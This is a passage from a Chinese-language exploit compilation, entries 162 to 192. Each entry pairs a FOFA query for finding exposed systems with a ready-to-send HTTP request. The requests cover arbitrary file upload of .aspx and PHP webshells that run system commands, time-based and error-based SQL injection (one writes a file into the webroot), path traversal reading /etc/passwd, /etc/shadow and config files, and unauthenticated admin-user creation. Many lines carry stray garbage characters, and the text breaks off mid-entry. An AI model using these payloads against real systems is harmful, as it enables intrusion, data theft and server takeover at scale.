User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 445
Content-Type: text/xml
/ X$ Y- v, C$ y. {/ F& sAccept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
- I% ^2 g- W' S5 t+ w9 b- [9 n<soap:Envelope xmlns:xsi="
% ~) |+ F: d3 a4 ahttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
9 U4 n# L% y4 p- w8 v  t) v) G<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
" n0 [% Y+ B6 h3 ^, g( {/ O<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
, U- i6 P" x* \1 B2 n. K</UploadResume>
</soap:Body>
" m5 R+ x1 G  Y+ S9 O</soap:Envelope>
4 N" ^1 E; m( N

! i% S, h1 ~) G8 Y) j4 W/ xhttp://x.x.x.x/dizxdell.aspx
8 t1 V) ^' \0 V! |( c' O& d
1 S) Z2 Q% Y0 m162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
  k8 @6 C/ l1 _5 X/ o! F" sFOFA: app="和丰山海-数字标牌"
; M' o; s. c6 F, D+ x5 fPOST /QH.aspx HTTP/1.1
1 v2 t5 C, V* K" Z# b* NHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
+ l4 K4 k8 n5 H' Y" ^Connection: close
: I) ?1 l3 m* ?2 d8 TContent-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip
2 \, r- k; D! |# D" C+ g, E
3 [, q: h# L4 ]4 V- R, A------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream
, f9 ~! w7 \9 Y/ \+ }+ [9 m
9 `* ?6 ]1 ~$ }0 g3 D0 b' T* T3 _5 s<% response.write("ujidwqfuuqjalgkvrpqy") %>
8 l0 b' k# r- i------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"

upload
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"
& b2 b& U; c# C. k5 ^- ]% a
, g; D3 A2 T$ k8 S4 OResourceNewResponder
& s. t1 B6 G- Y$ Q; E; P+ |" c------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"
: O+ t6 s( n6 d* G' A3 z9 j" l
. b" ^& e7 [: ~$ V! e( y/opt/resources
/ U& J" B- G, B3 }------WebKitFormBoundaryeegvclmyurlotuey--
! `7 {- d2 f: B, p& [

http://x.x.x.x/opt/resources/kjuhitjgk.aspx
$ A4 n$ d2 ~- L
4 Y% ~0 N! L& L2 Z. w( w: S  b163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
# b  D9 D; j" `# a. N+ W+ f/ OHost: x.x.x.x
% Y" N3 M: }& W9 n$ JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
0 g" j8 o3 a+ k- ^' x, uConnection: close
( `0 A5 }' _& X7 H, w! A6 RContent-Length: 293
& F1 a$ J( v. |* w8 B' CAccept: */*
8 ]8 c7 E* l5 V) S  OAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

5 ?  I/ n2 r$ q------iiqvnofupvhdyrcoqyuujyetjvqgocod
% y- p" W6 D  r1 K' Q* O1 ?Content-Disposition: form-data; name="name"

1.php
3 G6 l6 |. O# Z; Y0 p% }" _* N------iiqvnofupvhdyrcoqyuujyetjvqgocod
& u" @: h' d1 z) I1 ~9 S/ oContent-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg
7 V+ G" V! A; r; @
rvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--

" M  }. @; u9 i, o5 O0 E
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
8 F0 t2 V: `8 a; K9 W8 Y& E0 zFOFA: title="智慧综合管理平台登入"
3 M, ]/ E% \& ^$ k5 m( E2 O. ~POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
8 g9 d2 \6 `! Y9 r: lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
3 u" c; U1 d0 S7 I; }) h
------dqdaieopnozbkapjacdbdthlvtlyl
" }9 y' x+ S) B( ?8 P  oContent-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg

0 ^+ [$ f$ o# b6 E<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
" i! T$ c% g2 `------dqdaieopnozbkapjacdbdthlvtlyl--

: [) z3 ^" z* @) B* w  X
6 e0 g: c0 e  h7 l7 g7 Vhttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

' K9 `' J. I9 _" U+ x& F165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
. O5 S5 ?# B3 ^! i* I1 u' R$ UFOFA: app="OrangeHRM-产品"
" R8 b1 w; y8 OURL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
2 f7 ]5 }2 ?% e
" c0 v/ |) C" a- ?6 ]* }. }
% Q4 ~+ `" T8 Z! A5 x166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
/ t0 y0 Q( C5 vPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
  j: y1 [5 v+ @0 {4 }Host:
Pragma: no-cache
7 Z7 \* X, k% V5 TCache-Control: no-cache
/ Z3 e$ L' Y/ RUpgrade-Insecure-Requests: 1
# w. O2 T' l* F$ ?& x7 ^+ B* E# P& YUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
- K: H9 c2 E% V. YAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
1 S) T7 h3 a8 u7 F' mAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
) V5 e; b0 z. R) T3 n9 CCookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
" N- X9 l0 |# S7 M" t: uConnection: close
Content-Type: application/x-www-form-urlencoded
7 K6 {( S4 N# A( G  |Content-Length: 89

Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
# j. I) w2 r: b+ b5 x/ a' ]
" a! p8 \+ N( a6 h+ T$ K
167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
6 T- Z9 h! Y# N% |4 [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
- ~/ e# r) A# u5 b  {Accept: */*
9 |( c2 a; _# @( }. i+ q6 jConnection: keep-alive


% @5 y* S1 I* x# y, z) j; f7 B) I168. 宏景EHR OutputCode 任意文件读取
+ x9 {1 O) E( J0 v8 G  p- B, G9 eFOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
1 ]2 [' \# J- `3 F  NHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close
2 b1 n  j+ R9 _: s9 o1 I
- ^& ~/ i: S% g

0 o4 U8 g8 }8 x: T+ k( i169. 宏景EHR downlawbase SQL注入
4 a) V. r  b( H8 yFOFA：app="HJSOFT-HCM"
  w5 G3 e, \. X" o! S/ Y- M9 u+ f+ \) {GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
% o! a, K: L2 h! A/ sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
# y% T7 }3 v9 L; }5 {) t

! z' }6 I9 L; B2 Y
+ s+ T. e& V; M! W# @3 z: z170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
* v9 o! y. O& @1 H5 d5 MPOST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
. o8 g  `( B! e! THost: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
/ B/ P% s# w# b! T1 W8 UContent-Type: application/x-www-form-urlencoded

! |' H1 U, H6 F9 L! }' c1 l: ^filename=../webapps/ROOT/WEB-INF/web.xml

6 u! Z/ w# [- p/ y: ^( o5 n
* r# Y+ C4 O4 k, }171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
" f% T# _  Y* |; p: a8 f( RUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
& D6 n6 z' Z! r: @2 ^3 Q3 kAccept: */*
* b' o6 F8 J$ r8 P, m0 cAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# X- \) d$ S! d# g6 @4 VAccept-Encoding: gzip, deflate
7 }# ~, o/ x! u2 G8 w' JConnection: close
' X& o( w4 U5 D0 H( ]# K
9 ?; ^4 U6 B6 l7 N5 p9 ~" d
  P( {( H' Y9 K# i5 }  O
172. DT-高清车牌识别摄像机任意文件读取
4 e* d  R- P; b3 `' M5 @FOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
7 u4 s, i  F' V! ]' }6 vHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


- q4 V# K9 [# t3 V0 s1 l+ @7 I
173. Check Point 安全网关任意文件读取
CVE-2024-24919
0 n: @0 ^, U$ O/ C2 I& ~8 iFOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded

aCSHELL/../../../../../../../etc/shadow
! f, \# T8 n/ g

# R. C$ D- `2 M- z8 {# D) u
! a8 X8 X" c+ [( y174. 金和OA C6 FileDownLoad.aspx 任意文件读取
FOFA：app="金和网络-金和OA"
$ |! d& c& M1 S4 d- X7 }& _! oGET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
8 K; _. n# g1 u7 A+ ?Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
0 u8 o* O) A8 @  HAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
" T9 ?" J% n6 z3 F# lAccept-Language: zh-CN,zh;q=0.9
/ n; f9 |8 r% g% E) ?1 ^Connection: close

5 \$ x) I2 B, Z

175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
9 V$ [2 T3 _. i4 a& X; |; ^FOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
+ ^7 W$ {- W, W% P7 b, v; GHost:
# ~6 [. ~) m# t4 `5 Y# f' NUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
) R+ z9 M( z5 T/ MAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& L9 G9 w$ g, o. K, gAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
, @6 u  X, {2 V: H( O: P! [/ o9 \! AUpgrade-Insecure-Requests: 1
8 Q, ~) A6 E2 P) ~% U
+ F$ p" G3 D3 I( b
176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
& m5 L4 n2 E. o% PPOST /manager/teletext/material/rewrite.php HTTP/1.1
9 o& T$ K) C; A, AHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
" H+ A, }, j; s* T$ c3 ]! i, YConnection: close

7 ~& S; v0 V7 r+ @' p  C: g------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
- n; H& N' Q5 y$ f- Z9 M+ ]8 zContent-Type: image/png
  y- h; x, g' j3 w! O
3 B! q1 U; Y7 ~# A8 A1 y<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
- A  j/ a( J0 ]! ^. }1 `Content-Disposition: form-data; name="uploadtime"
5 `: @' E' O, C# d0 Y

------WebKitFormBoundaryOKldnDPT--

0 B  ?' W( S( S' S* D7 H

, }' V$ Z  L8 u+ P& x2 I% [  d# C! z177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
9 g* |; y5 l- k1 `/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
& @$ p2 A+ @4 q% _3 {4 k9 ?6 p9 c/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
% Y! V  R% d' J" e/ W( X/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
% }/ q& _7 S+ ]- F$ p% t/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
1 R: b2 e& o7 o+ k$ u! m/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
; E: u6 e0 ^/ r6 T8 d' {* i3 ?/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
5 U' z6 Y- \- Q' O/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
* p. H6 ?0 C1 s+ H! P/userLogin.asp/../actionpolicy_status/../ER3200.cfg
# Z1 J, a0 L7 w' u! J( q9 D+ ~" I/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
# K- q- W3 Z( d. y" V8 l! `/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
) ^, \! C0 ^" L' x4 h/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
1 A2 B) B( s# j& g6 }/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
% L" q4 y4 u* p; {3 J+ z

178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
& U; u" i. P8 H( w& a. q; VPOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
. n  y9 V% L/ r7 O: r4 a) XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
: C1 s3 n2 a6 W5 N+ KAccept-Encoding: gzip, deflate
Connection: close
0 i8 m( q' v, K  U4 aContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
  h, _/ S7 w8 @-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
, j; I- v5 s8 R: s; W" bContent-Type: application/octet-stream
- ^# X$ \+ s; y3 W7 uContent-Length: 255

12234
3 i2 h1 n5 l4 o" t; T-----------------aqutkea7vvanpqy3rh2l--


0 }3 T+ A: I* s/ HGET /imc/primepush/%2e%2e/flex/12234.txt
" x' S# {( d6 O
3 O1 P% `2 o2 z& y) B8 Y7 s! t! X
% V( j' ?% S/ a; g& @! ?' h179. 建文工程管理系统存在任意文件读取
& F5 W3 t) F% o# v# @" w( tPOST /Common/DownLoad2.aspx HTTP/1.1
1 }# q4 m: c4 O! M/ p$ PHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

path=../log4net.config&Name=
1 S" c3 [7 `/ q! F6 Y3 m0 W$ ?

/ t" A' g0 ~: i; r, A0 e180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
' I4 K9 x; e3 x# X9 YGET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
% Y/ Q& D; T+ c1 {5 v+ qHost: your-ip
+ w( V7 }, L( @+ rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
* T& G' m" ^7 b7 EAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

; |3 ?5 i; p: C* W( W2 q
181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
4 }5 N3 u6 |6 K; hFOFA："PDCA/js/_publicCom.js"
2 Z% \6 n% X% YPOST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
! e, ?/ c7 ?- Q& B* V3 hAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
, q9 r4 s- G) Z5 E% q6 t# B' WConnection: close
Content-Type: application/x-www-form-urlencoded
$ w8 t5 ]2 \1 \4 F
2 D& H/ C% u/ U6 T$ \
action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20
6 F+ v$ g9 G; b6 r

182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
1 m. K( i' N4 Q  F/ nFOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
" L. g8 N( O- Y* iHost: your-ip
6 ^0 R% c) ~; I/ }$ I1 _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 H% _3 n5 [4 ~# OAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
. O4 V1 m. H' P. T6 t& D" v+ dConnection: close
Content-Type: application/x-www-form-urlencoded


username=test1234&pwd=test1234&savedays=1

/ b* o! W+ d  y' _. F" _% J
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
2 s- R, N, O1 p1 @( J6 SHost: your-ip
- l3 s9 ^: S4 AUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
9 |% f7 Z8 s  @* k: i) V) W8 [Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
2 T3 ]) P6 E* \5 MConnection: close

$ G/ B) d3 w% x; W! N& c5 p3 D
8 f$ t8 ^6 D' a- X! G" }184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
$ v" O% J& \& d7 n  r( J! `FOFA：server="SunFull-Webs"
POST /soap/AddUser HTTP/1.1
5 O/ }' J' J! b6 o8 `' Z& C8 xHost: your-ip
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest
! D  F& z" B8 s: ~+ ~  Z
2 `  u9 ^: m- R. s. A
insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')

# W; p- r% _0 f* a% V& Y
185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
8 W, N& {" i# hFOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host


' i. d# h# V, e2 Y186. F-logic DataCube3 SQL注入
! F3 L+ t9 s; @( t. Y7 ICVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
; g5 A. p& x5 Y* ]+ PFOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ ?/ `4 s+ Q: m/ sAccept-Encoding: gzip, deflate
/ y# Q& ?/ j! N4 z& C, YConnection: close
0 y2 z2 G" N8 W! i9 O! j( YContent-Type: application/x-www-form-urlencoded
4 A$ U- I$ m3 c, U3 ~4 x, h9 S
5 ]3 O' I+ G% M* f+ t( _6 hreq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450


0 b  a( o5 P# d! W& a) y187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
0 K. g* v5 P) D6 H2 n. zFOFA："Mura CMS"
( x2 E$ K9 ]+ z% y& a3 a% KPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
. O$ V% ]# a4 G+ L4 _9 K+ X+ X% yHost: your-ip
Content-Type: application/x-www-form-urlencoded


object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
9 T0 T( D" B/ g, {( _
# y( Y! z9 r+ G  W* O% r* c' v- U
- @6 F$ _* l, m% o2 r, `188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
! H, p1 P% i( G2 q# sFOFA：body="/system/get_rtc_user_defined_info?site_id"
GET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
9 n& t; ~" w5 _Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
& B- u9 {& H  g, W
+ ~* \* L' z' d8 T
, l8 z: ]% ]& R* B8 N6 D0 c7 U189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
: M) T; v4 L0 {* nGET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
: `5 g$ T' O3 g5 Y  BHost: your-ip
* @( r( q& A/ u/ z( YUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
& I( e8 Y; R. H4 T5 E( j0 IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 x3 N7 N/ l$ J: kAccept-Encoding: gzip, deflate
+ \& M1 ?6 Z- P, i: i2 i/ ~Accept-Language: zh-CN,zh;q=0.9
Connection: close

( N2 B8 M2 |* F# G: I, ?
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
! w- z- i6 x" T2 U) aPOST /index.php/admin/Userinfo/poihuoqu HTTP/2
2 @# N! e3 ^! F3 a% l) _. l, U$ zHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
: z( s( f6 h7 f! h' w2 vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
) R8 i' N6 T5 q# b) _Accept-Language: zh-CN,zh;q=0.9
$ a( L2 {, A9 C) D
' e" V! k+ Z4 ~% Dpoi=file:///etc/passwd
$ \- c3 b3 I" c5 {. [& v# t

191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
( r' M" r9 }5 y" J( ^5 Y! c& U1 WHost: your-ip
& z, Y) U2 J( O, Q2 l4 @, d$ t: KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
( m* [  Y8 E1 G2 S6 V% X' UContent-Type: application/x-www-form-urlencoded

( X; ?! H9 L8 |command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
* z" @5 t( g. x+ k. }
% t4 n/ g2 }$ i: }  O. L
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
8 l* }/ ~# C. T6 y) r) C6 H" }FOFA：title="用户登录_富通天下外贸ERP"
& l% ]; C. b- X5 K' o  x+ Q: Z( yPOST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
& w" Z+ E) f/ x* mUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded


<% @ webhandler language="C#" class="AverageHandler" %>
using System;
using System.Web;
/ D9 t- E$ s  Q2 X2 Y$ Vpublic class AverageHandler : IHttpHandler
{
public bool IsReusable
